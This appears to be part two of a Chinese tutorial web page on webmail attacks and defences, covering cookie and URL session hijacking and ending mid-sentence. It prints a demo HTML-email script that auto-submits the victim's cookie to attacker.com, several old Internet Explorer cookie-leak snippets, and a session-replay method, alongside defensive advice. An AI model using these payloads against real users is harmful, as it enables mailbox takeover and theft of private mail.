• 当前位置:首页>>编程开发A>>安全防御>>Webmail攻防实战 2
  • Webmail攻防实战 2
  • Cookie是web服务器保存在用户浏览器上的文本信息,可以包含用户名、特殊ID、访问次数等任何信息,通常此信息用于标识访问同一web服务器上的不同用户,在浏览器每次访问同一web服务器时会发送过去,用于跟踪特定客户端或浏览器与web服务器进行交互的状态。

      Cookie的类型有两种:持久型和临时型。持久型cookie以文本形式存储在硬盘上,由浏览器存取。使用了持久型cookie会话跟踪的WebMail系统有hotmail、yahoo电邮(可选)等。临时型cookie也称为会话cookie,存储在内存中,仅为当前浏览器的对话存储,关闭当前浏览器后会立即消失,ASP、PHP4等开发程序中用到的session对象就会产生临时型cookie。使用了临时型cookie会话跟踪的WebMail系统有FM365、亿邮等。


     如果攻击者能够获取用户WebMail的cookie信息,那么就能很容易地侵入用户的WebMail。攻击者如何获取用户WebMail的cookie信息呢?如果攻击者在用户的电脑上安装了木马,或者能够从网络线路上对用户进行嗅探侦听,那么获取cookie信息自然不成问题,不过这并不是我们讨论问题的意义所在,因为都能够这样了,又何必大费周折去获取cookie信息,直接获取邮箱密码就是了。

      如果WebMail系统存在跨站脚本执行漏洞,那么攻击者就能欺骗用户从而轻易地获取cookie信息,虽然众多网站存在此漏洞,但存在此漏洞的WebMail系统还很少见。

      含有恶性脚本程序的html邮件能使攻击者获取WebMail的cookie信息。Html邮件中的脚本程序先提取当前WebMail的cookie信息,然后把它赋值给某个表单元素,再将表单自动提交给攻击者,攻击者从而获得cookie会话信息。下面是一段演示程序:

    <body>
    <form method="post" action="http://attacker.com/getcookie.cgi" name="myform">
    <input name="session" type="hidden">
    </form>

    <script language="JavaScript">
    var cookie=(document.cookie);
    alert(cookie);//这一句用于显示当前cookie信息,当然,攻击者不会这样做。
    document.myform.session.value=cookie;
    document.myform.submit();
    </script>

      getcookie.cgi是放在攻击者web服务器上的一个cgi程序,用于获取表单提交过来的cookie信息,并且做记录或者通知攻击者。当然,攻击者会把html邮件、getcookie.cgi程序设计得更隐蔽,更具欺骗性,让用户难以察觉。

      通常,浏览器根据web服务器的域名来分别保存cookie信息,并且只会把cookie信息发送给同一域名的web服务器。不过,浏览器的漏洞给攻击者获取不同域名的cookie信息创造了机会,Internet Explorer、Netscape和Mozilla等被广泛使用的浏览器都存在过此类漏洞。下面是几个Internet Explorer浏览器(针对IE5.0、IE5.5或IE6.0)泄漏cookie信息的例子:

      (1) Html语言中的object元素用于在当前页面内嵌入外部对象,但Internet Explorer浏览器对object元素属性的处理不当会导致任意域的cookie信息被泄漏,演示代码如下:

    <object id="data" data="empty.html" type="text/html"></object>
    <script>
    var ref=document.getElementById("data").object;
    ref.location.href="http://www.anydomain.com";
    setTimeout("alert(ref.cookie)",5000);
    </script>

      (2) Internet Explorer浏览器错误处理“about”协议使得一个精心构造的URL请求可能会显示或修改任意域的cookie信息,例如(以下代码在同一行):

      about://www.anydomain.com/<script language=JavaScript>alert(document.cookie);</script>

      (3) Internet Explorer浏览器会误把URL中“%20”(空格符的URL编码)字符串之前的主机名当做cookie信息所在的域,并且发送出去。假设攻击者有一个域名“attacker.com”,攻击者把它做成泛域名解析,即把“*.attacker.com”指向攻击者web服务器所在的IP地址,“attacker.com”下的任何子域名或主机名都会被解析成这个IP地址,当用户提交了类似下面这样的URL后,浏览器就会把“anydomain.com”域名的cookie信息发送给攻击者:

      http://anydomain.com%20.attacker.com/getcookie.cgi

      如果攻击者要获取WebMail的临时型cookie信息,就会在html邮件中写入相应的代码,在用户浏览邮件时,该代码自动执行,使得攻击者能够获取当前浏览器里的临时cookie信息,也可以把用于获取cookie信息的URL发送给用户,诱骗用户打开该URL,这样攻击者也能获取临时cookie信息。在攻击者获取cookie信息后,如果cookie信息里含有密码等敏感信息,那么攻击者就能很轻易地侵入用户的邮箱,虽然hotmail等WebMail系统曾经发生过此类的情况,但cookie信息泄漏敏感信息的WebMail系统还很少见。

      攻击者在获取cookie信息之后,还要让此cookie信息由浏览器来存取从而与WebMail系统建立会话,这样才能侵入用户的WebMail。如果是持久型cookie信息,攻击者所要做的是把这个信息复制到自己的cookie文件中去,由浏览器存取该cookie信息从而与WebMail系统建立会话,不过临时cookie信息存储在内存中,并不容易让浏览器存取。

      为了让浏览器存取临时cookie信息,攻击者可以编辑内存中的cookie信息,或者修改公开源代码的浏览器,让浏览器能够编辑cookie信息,不过这样都不是很简便的方法,简便的方法是使用Achilles程序(packetstormsecurity.org网站有下载)。Achilles是一个http代理服务器,能够载取浏览器和web服务器间的http会话信息,并且在代理转发数据之前可以编辑http会话以及临时cookie信息。

      WebMail系统应该避免使用持久型cookie会话跟踪,使攻击者在cookie会话攻击上不能轻易得逞。为了防止cookie会话攻击,用户可以采取如下措施以加强安全:

      (1) 设置浏览器的cookie安全级别,阻止所有cookie或者只接受某几个域的cookie。

      (2) 使用cookie管理工具,增强系统cookie安全,如Cookie Pal、Burnt Cookies等。

      (3) 及时给浏览器打补丁,防止cookie信息泄漏。


      Cookie会话跟踪除了上面提到的安全缺陷外,还存在如下缺点:

      (1) 并不是每个浏览器都支持cookie,有些用户为了防止泄露隐私以及从安全性上考虑,可能会禁用浏览器的cookie。

      (2) 由于功能限制或者设置有误,代理服务器不能够代理cookie,导致通过代理服务器上网的用户不能登录进入以cookie进行会话跟踪的WebMail。

      六、URL会话攻击

      一些WebMail系统胆敢在客户端不支持cookie时拒绝提供WebMail服务,如新浪、搜狐等WebMail系统,而另一些WebMail系统则视用户为上帝,使用URL会话跟踪技术来维护与客户端交互的状态,如163.net、263.net、21cn.com等。

      URL会话跟踪是把一些标识会话的字符串加在URL里面,对于客户端的每一个http连接请求,服务端都会把URL里的会话标识和它所保存的会话数据关联起来,从而能够区分不同的客户端,以及进行用户会话跟踪。下面是在浏览器的地址栏里看到的一些WebMail的URL,看起来会很长甚至有些怪:

      http://bjweb.163.net/cgi/ldapapp?funcid=main&sid=HAPGfUDusCLAQSIm
      http://WebMail.21cn.com/extend/gb/std/username/
    NV0416qxMftyKnOcavGDktOmIEvPsb/SignOn.gen

      在关闭浏览器后,保存在服务器里的会话关联数据并不会立即失效,一段时间内WebMail的URL仍然有效,他人只要从浏览器的历史记录里找到该URL,就可以点击进入用户的WebMail,并不需要任何密码验证,所以用户在退出WebMail时,不应该直接关闭浏览器,应该点击WebMail上的“退出”来退出,这样才会清空会话,使WebMail的URL失效,那些在网吧等公共场所上网的用户尤其要注意这一点。

      如果攻击者知道WebMail系统的URL会话机制,能猜到WebMail的会话标识,那么就能找到WebMail的URL,在浏览器地址栏里输入相同的URL就能轻易地进入用户的WebMail,所以WebMail系统应该使用较长的、随机的字符串做为会话标识,使攻击者难以猜测。

      不过,即使WebMail系统的URL会话机制再复杂、会话标识再长,对攻击者而言,要想获得用户WebMail的URL,往往就像探囊取物一般容易。

      JavaScript程序中的window.location、location.href、document.URL、document.location、document.referrer等对象属性都

  • 上一篇:Ghost使用不当 数据丢失解决
    下一篇:Webmail攻防实战 1